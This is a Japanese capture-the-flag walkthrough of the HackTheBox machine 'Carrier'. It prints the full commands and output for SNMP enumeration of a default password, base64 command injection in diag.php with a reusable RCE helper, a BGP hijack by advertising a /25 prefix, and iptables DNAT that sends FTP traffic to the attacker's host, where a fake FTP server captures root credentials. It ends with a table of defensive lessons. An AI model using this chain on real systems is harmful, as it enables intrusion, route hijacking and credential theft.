HackTheBox: Carrier — 全実行コマンド・実行結果レポート
Nmap スキャン
TCP 22/80, UDP 67/161
→
TCP 22/80, UDP 67/161
SNMPでシリアル漏洩
SN#NET_45JDX23
→
SN#NET_45JDX23
adminログイン
既定パスワード=シリアル
→
既定パスワード=シリアル
check パラメータ注入RCE
diag.php、base64(“quagga; cmd”)
→
diag.php、base64(“quagga; cmd”)
user.txt ✓
コンテナ”r1″内
→
コンテナ”r1″内
BGPトポロジ調査
quagga/AS100、Tickets#6のヒント
→
quagga/AS100、Tickets#6のヒント
BGPハイジャック
network 10.120.15.0/25広告
→
network 10.120.15.0/25広告
iptables DNAT+FTPハニーポット
root:BGPtelc0rout1ng 奪取
→
root:BGPtelc0rout1ng 奪取
root.txt ✓
実ホストへSSH
実ホストへSSH
PHASE 1
偵察 (Reconnaissance)
TCPポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.79.178 nmap -sV -sC -p 22,80 10.129.79.178 nmap -Pn -p 21 -sT 10.129.79.178
RESULT
PORT STATE SERVICE VERSION 21/tcp filtered ftp 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 80/tcp open http Apache httpd 2.4.18
ℹ️
21番は
filtered で匿名FTPアクセスも不可。開いているのは実質 22/80 のみ。
UDPスキャン — SNMP発見
BASH
nmap -sU -Pn -p 67,161,69,53,123 --max-retries 1 -T4 10.129.79.178
RESULT
PORT STATE SERVICE 53/udp closed domain 67/udp open|filtered dhcps 69/udp closed tftp 123/udp closed ntp 161/udp open snmp
🚨
TCPだけでは罠にはまる。 80番のWeb画面はログインに必要な情報(筐体シリアル)
を一切教えてくれないが、UDPをスキャンしないとSNMP(161)の存在に気付けない。
TCPフルポートスキャンだけで満足せず、UDPも必ず確認する教訓。
Web管理画面 “Lyghtspeed” 初期確認
BASH
curl -s http://10.129.79.178/
RESULT (抜粋)
<img alt="Lyghtspeed" src="img/logo.png"> <h4>Please login</h4> <span class="badge badge-danger">Error 45007</span> <span class="badge badge-danger">Error 45009</span> <form role="form" method="post"> <input type="username" name="username"> <input type="password" name="password"> </form>
ℹ️
公開されている元ウォークスルー(0xRick, 2019)の
/doc/error_codes.pdf によれば:
Error 45007 = 「ライセンス無効・期限切れ」、
Error 45009 = 「システム資格情報未設定、既定adminパスワードは筐体シリアル番号」。
つまりログインにはシリアル番号が必要だが、Web画面のどこにも表示されていない。
PHASE 2
SNMP列挙によるシリアル漏洩 & ログイン
snmpwalk でシリアル番号を取得
BASH
snmpwalk -c public -v 1 10.129.79.178
RESULT
iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"
End of MIB
✅
community string
public が有効で、応答はこの1件のみ。これが探していた
筐体シリアル番号 — つまりError 45009が言う既定adminパスワードそのもの。
admin:シリアル番号 でログイン
BASH
curl -s -c cookies.txt -b cookies.txt http://10.129.79.178/ -o /dev/null curl -s -c cookies.txt -b cookies.txt -X POST http://10.129.79.178/index.php \ -d "username=admin&password=NET_45JDX23" -L
RESULT (抜粋)
<title>Dashboard</title> ... <h4>License invalid</h4> <p>Cannot detect license key dongle on any USB port.</p> <li>Tickets functionality is restricted to read-only mode</li> <li>Monitoring functionality is disabled</li> <li>Diagnostics restricted to local sub-system components</li>
発見した認証情報
admin : NET_45JDX23
✅
ログイン成功。Dashboard / Tickets(read-only) / Diagnostics が使える(Monitoringのみ無効)。
PHASE 3
diag.php の check パラメータ注入でRCE & user.txt
Diagnostics ページの隠しフィールド “check”
BASH
curl -s -c cookies.txt -b cookies.txt http://10.129.79.178/diag.php
RESULT (抜粋)
<form role="form" method="post">
<input type="hidden" id="check" name="check" value="cXVhZ2dh">
<button type="submit">Verify status</button>
</form>
ℹ️
cXVhZ2dh は base64(“quagga”)。”Verify status” ボタンを押すとこの値が
サーバーへ送られ、おそらく裏側で quagga プロセスの状態確認(ps | grep quagga
的な処理)に使われている、という仮説が立つ。
コマンドインジェクションの確認
BASH
# base64("quagga && id") を check に送る
PAYLOAD=$(echo -n "quagga && id" | base64)
curl -s -c cookies.txt -b cookies.txt -X POST http://10.129.79.178/diag.php \
--data-urlencode "check=$PAYLOAD"
RESULT (抜粋)
<p>quagga 779 ... /usr/lib/quagga/zebra --daemon -A 127.0.0.1</p>
<p>quagga 783 ... /usr/lib/quagga/bgpd --daemon -A 127.0.0.1</p>
<p>root 788 ... /usr/lib/quagga/watchquagga --daemon zebra bgpd</p>
<p>root 828 ... bash -c ps waux | grep quagga && id | grep -v grep</p>
<p>root 830 ... grep quagga</p>
<p>uid=0(root) gid=0(root) groups=0(root)</p>
🚨
RCE確定、しかも root 権限。 サーバー側は概ね
ps waux | grep <base64decode(check)> | grep -v grep 相当のシェルコマンドへ
無エスケープで文字列連結しており、check の中身がそのままシェルに
渡る。出力はHTMLレスポンスの <p> タグ内にそのまま埋め込まれて返ってくるため、
リバースシェルを張らずに同期的にコマンド結果を読めるのが大きな利点。
ヘルパー関数化 & SENTINEL抽出
BASH (carrier_rce 関数)
carrier_rce() {
local cmd="$1"
local payload=$(echo -n "quagga; echo SENTINEL_START; $cmd; echo SENTINEL_END" | base64 -w0)
curl -s -c cookies.txt -b cookies.txt -X POST http://10.129.79.178/diag.php \
--data-urlencode "check=$payload" --max-time 15 \
| sed -n '/SENTINEL_START/,/SENTINEL_END/p' | sed 's/<[^>]*>//g'
}
⚠️
ハマりやすい罠: レスポンスには
ps waux の一覧も含まれ、そこには
今まさに実行中の自分自身のコマンド行(= echo SENTINEL_START; ...; echo SENTINEL_END
という文字列そのもの)がプロセス引数として写り込む。非greedyな正規表現
SENTINEL_START(.*?)SENTINEL_END で抽出しようとすると、本物の出力より先に
このps一覧内の文字列へ誤マッチしてしまい、空またはゴミ文字列を本物の出力と
誤認する(後述のmixin実装で実際に踏んだバグ)。最後の出現位置を基準に抽出する
(例: sed -n '/SENTINEL_START/,/SENTINEL_END/p' は複数マッチ時最後の区間を
拾うとは限らないため、スクリプトでは rfind() で最後の開始位置を明示的に探す)。
user.txt 取得
BASH
carrier_rce "hostname; find / -maxdepth 3 -iname 'user.txt' 2>/dev/null; cat /opt/flag/user.txt"
RESULT
r1
/opt/flag/user.txt
/root/user.txt
c69129fdd7d4bde45e887844e43c80b5
user.txt — コンテナ “r1” 内 (/opt/flag/user.txt, /root/user.txt)
c69129fdd7d4bde45e887844e43c80b5
ℹ️
hostname が r1 であることに注目。これは実機ホスト本体ではなく、
ルーティング専用のコンテナ/名前空間であることを示している(後述のPhase 4で裏付け)。
PHASE 4
ネットワークトポロジ調査 — Quagga(BGP)とTicketsのヒント
インターフェース・経路確認
BASH
carrier_rce "ip a; echo ---; ip route"
RESULT (抜粋)
eth0 inet 10.99.64.2/24 (デフォルトゲートウェイ 10.99.64.1 — 外部/Kaliへの上流) eth1 inet 10.78.10.1/24 (AS200ピア 10.78.10.2) eth2 inet 10.78.11.1/24 (AS300ピア 10.78.11.2) default via 10.99.64.1 dev eth0 onlink 10.100.10.0/24 ... via 10.78.10.2 dev eth1 proto zebra ... 10.120.15.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.16.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.17.0/24 via 10.78.11.2 dev eth2 proto zebra
bgpd.conf — AS100として稼働
BASH
carrier_rce "cat /etc/quagga/bgpd.conf"
RESULT
router bgp 100 bgp router-id 10.255.255.1 network 10.101.8.0/21 network 10.101.16.0/21 redistribute connected neighbor 10.78.10.2 remote-as 200 neighbor 10.78.11.2 remote-as 300 neighbor 10.78.10.2 route-map to-as200 out neighbor 10.78.11.2 route-map to-as300 out
ℹ️
このルーターは AS100として AS200/AS300 の2つのピアとBGPを張っている。
redistribute connected と2つの network 文で自身のネットワークを広告中。
Tickets — 攻撃対象プレフィックスのヒント
BASH
curl -s -c cookies.txt -b cookies.txt http://10.129.79.178/tickets.php
RESULT (Ticket #6 抜粋)
Rx / CastCom. IP Engineering team from one of our upstream ISP called to report a problem with some of their routes being leaked again due to a misconfiguration on our end. ... still reporting issues with 3 networks: 10.120.15, 10.120.16, 10.120.17/24's, one of their VIP is having issues connecting by FTP to an important server in the 10.120.15.0/24 network, investigating...
🚨
攻撃対象確定:
10.120.15.0/24 に本物のFTPサーバーがあり、
“VIP”(実ホスト自身)が定期的にそこへFTP接続している。既に自分がAS100として
BGPに参加できる立場にいる以上、この経路をハイジャックして自分へ誘導すれば
FTP資格情報を横取りできるという方針が立つ(BGPハイジャック攻撃)。
PHASE 5
BGPハイジャック — より specific な経路を広告する
bgpd.conf に network 10.120.15.0/25 を追加
NOTE
BGP(および一般のルーティング全般)では、同じ宛先に対し複数の経路情報が存在する場合、 AS_PATHの長さやLocal Preferenceなどの属性に関わらず、まず 「最長一致(longest prefix match / more specific wins)」が最優先される。 現在、10.120.15.0/24 は AS300(10.78.11.2)経由で学習されている。もし自分(AS100)が 一段 specific な 10.120.15.0/25 (24より1bit長い、より狭いレンジ)を広告すると、 このネットワーク全体で「/25の方が優先」と判断され、本来10.120.15.0/24内の前半アドレス 宛だったトラフィックが自分(carrierルーター)経由に誘導される — これがBGPハイジャック。
BASH
# 元のbgpd.confをbase64で取得してローカルで編集し、書き戻す carrier_rce "cat /etc/quagga/bgpd.conf | base64 -w0" # → ローカルでデコード・編集(network 10.120.15.0/25 を追加)・再エンコード NEWCONF_B64=$(base64 -w0 bgpd.conf.new) carrier_rce "echo $NEWCONF_B64 | base64 -d > /etc/quagga/bgpd.conf && \ chown quagga:quagga /etc/quagga/bgpd.conf && chmod 640 /etc/quagga/bgpd.conf" carrier_rce "service quagga restart; sleep 3; echo RESTARTED"
RESULT (差分)
network 10.101.8.0/21
network 10.101.16.0/21
+network 10.120.15.0/25
redistribute connected
⚠️
check パラメータは1リクエストにつき1コマンド文字列なので、設定ファイル全体の
書き換えはbase64でまるごと転送 → base64 -d でリモート上書きする方式が
クォート崩壊の心配なく確実(シングルクォートや改行をインジェクション経由で直接送ると、
シェル解釈の層で壊れるリスクがある)。
ハイジャック成立の確認
BASH
carrier_rce "echo 'show ip bgp' | vtysh"
RESULT (抜粋)
Network Next Hop Metric LocPrf Weight Path
* 10.120.15.0/24 10.78.10.2 0 200 300 i
*> 10.78.11.2 0 0 300 i
*> 10.120.15.0/25 0.0.0.0 0 32768 i
Total number of prefixes 29
✅
10.120.15.0/25 が *>(= best path)付きでweight 32768(ローカル生成の
最高優先度)として現れている。ハイジャック成立。
ℹ️
トラブルシューティング:
vtysh -c 'show ip bgp'
のように複数単語を1つの -c 引数に渡す非対話呼び出しは
このQuaggaバージョン(0.99.24.1)では “% Command incomplete.” を返し失敗する。
代わりに echo "show ip bgp" | vtysh のように標準入力経由でコマンド文字列を
渡すと問題なく動作する。また、このバージョンは network 文に対応する
実経路(FIBエントリ)の存在チェック(bgp network import-check)を強制しないため、
実際には接続されていない /25 プレフィックスもそのまま広告できてしまう
—— これがこのボックスでBGPハイジャックが容易に成立する根本原因。
PHASE 6
iptables DNAT + FTPハニーポットで資格情報奪取 → root.txt
21番ポートを自分(Kali)へリダイレクト
BASH
carrier_rce "sysctl -w net.ipv4.ip_forward=1; \ iptables -t nat -A PREROUTING -p tcp --dport 21 -j DNAT --to-destination 10.10.15.200:21; \ iptables -t nat -A POSTROUTING -j MASQUERADE; \ iptables -t nat -L -n"
RESULT
net.ipv4.ip_forward = 1 Chain PREROUTING (policy ACCEPT) DNAT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:21 to:10.10.15.200:21 Chain POSTROUTING (policy ACCEPT) MASQUERADE all -- 0.0.0.0/0 0.0.0.0/0
ℹ️
ハイジャックで経路だけ奪っても、実際にパケットがこのルーターに届いた後は
何らかの形で処理してやらないと単に破棄される。DNATで宛先を自分(Kali)へ
書き換え、MASQUERADEで戻りパケットのNATも処理する。これにより
「本来 10.120.15.x:21 宛だったFTP接続が、実質そのまま攻撃者のFTPへ着地する」。
最小限のFTP資格情報ハニーポット(Kali側)
PYTHON (fake_ftp.py, stdlib socketのみ)
import socket, threading, datetime
def handle(conn, addr):
conn.sendall(b"220 FTP server ready\r\n")
user = None
while True:
data = conn.recv(1024)
if not data: break
line = data.decode(errors="ignore").strip()
if line.upper().startswith("USER"):
user = line.split(" ", 1)[1]
conn.sendall(b"331 Password required\r\n")
elif line.upper().startswith("PASS"):
password = line.split(" ", 1)[1]
print(f"CREDENTIALS CAPTURED: {user}:{password}") # log.txt へも記録
conn.sendall(b"530 Login incorrect\r\n")
conn.close()
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 21)); srv.listen(5)
while True:
conn, addr = srv.accept()
threading.Thread(target=handle, args=(conn, addr), daemon=True).start()
BASH
sudo python3 fake_ftp.py watch cat carrier_ftp_log.txt # 2秒おとに再表示して待つ
資格情報の捕捉
RESULT (carrier_ftp_log.txt)
[11:13:04] listening on 0.0.0.0:21
[11:13:04] connection from ('10.129.79.178', 42918)
[11:13:04] ('10.129.79.178', 42918) -> USER root
[11:13:04] ('10.129.79.178', 42918) -> PASS BGPtelc0rout1ng
[11:13:04] CREDENTIALS CAPTURED: root:BGPtelc0rout1ng
奪取した資格情報
root : BGPtelc0rout1ng
✅
ハイジャック成立からわずか数分以内に、実ホスト自身(“VIP”)が定期的に試みる
FTP接続が捕捉された。接続元は
10.129.79.178(ターゲットのIPそのもの)——
つまり実ホスト自身がこの”重要なFTPサーバー”へ定期巡回しているという設計。
実ホストへSSH → root.txt
BASH
sshpass -p 'BGPtelc0rout1ng' ssh -o StrictHostKeyChecking=no \ root@10.129.79.178 "hostname; id; cat /root/root.txt"
RESULT
carrier uid=0(root) gid=0(root) groups=0(root) 775599d2c06a44163bb3e8f8f3d137ab
root.txt — hostname “carrier” (実ホスト本体、コンテナ”r1″ではない)
775599d2c06a44163bb3e8f8f3d137ab
✅
hostname が carrier(Phase 3のRCEシェルで見た r1 とは別)
であることに注目。Webアプリ(Lyghtspeed)とそのRCEはルーティング専用コンテナ内に
隔離されていたが、BGPハイジャックで外の実ホストから直接取得した資格情報を使い
実ホスト本体へrootでSSHできたという、このマシンの核心的なトリック。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — コンテナ “r1” 内
c69129fdd7d4bde45e887844e43c80b5
root.txt — 実ホスト “carrier”
775599d2c06a44163bb3e8f8f3d137ab
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SNMP情報漏洩 | community string “public” | 筐体シリアル(=既定パスワード)の漏洩 | Medium | snmpwalk -c public -v1 1回でログインに必要な全情報が漏れる |
| OSコマンドインジェクション | Lyghtspeed diag.php の check パラメータ |
Pre-auth級ではないがRCE(root、コンテナ内) | Critical | base64エンコードされた値が無エスケープでシェルコマンドへ連結される |
| BGPハイジャック | Quagga 0.99.24.1 (bgpd, AS100) | 任意ネットワークの通信傍受 | Critical | network import-check無効のため実在しない/25をそのまま広告し最長一致で経路を奪取 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap TCP全ポート + UDP主要ポート | 22/80 TCP、67/161 UDP。Webログイン画面でError 45007/45009発見 |
| 2 | SNMP列挙 | snmpwalk -c public -v1 | 筐体シリアル SN#NET_45JDX23 → admin ログイン成功 |
| 3 | RCE | diag.php check パラメータ注入 + SENTINEL抽出 | user.txt 取得(コンテナ”r1″内、root権限) |
| 4 | トポロジ調査 | ip route/a、bgpd.conf、Tickets#6 | AS100稼働確認、攻撃対象 10.120.15.0/24 のFTPサーバー特定 |
| 5 | BGPハイジャック | bgpd.confに/25追加+quagga再起動 | 10.120.15.0/25 を最優先経路として自分へ誘導 |
| 6 | 資格情報奪取&root化 | iptables DNAT + FTPハニーポット + SSH | root.txt 取得(実ホスト”carrier”、root:BGPtelc0rout1ng) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SNMP community string が既定値”public”のまま有効 | SNMPv3への移行、または最低限community stringを推測困難な値に変更しACLで制限する。 |
| 筐体シリアル番号を既定管理者パスワードとして使う設計 | 初回ログイン時に強制的なパスワード変更を要求し、既定値のまま運用を許さない。 |
| 診断機能のパラメータをエスケープせずシェルコマンドへ連結 | 外部入力を直接シェルに渡さず、許可リスト方式のコマンド選択+固定引数のみを使う。必要ならescapeshellarg相当を必ず適用。 |
| BGPの経路広告に対する検証(RPKI/IRRやimport-checkなど)が欠落 | bgp network import-check を有効化し実在する経路のみ広告可能にする。上流/下流ともにprefix-listでフィルタし想定外のmore-specific広告を拒否する。RPKIによるオリジン検証も導入する。 |
| 重要なFTP通信が平文かつ固定IPへの定期巡回で行われている | FTPを廃止しSFTP/FTPSへ移行する。ルーティング経路が変化してもTLS証明書検証で偽サーバーへの接続を検知できるようにする。 |

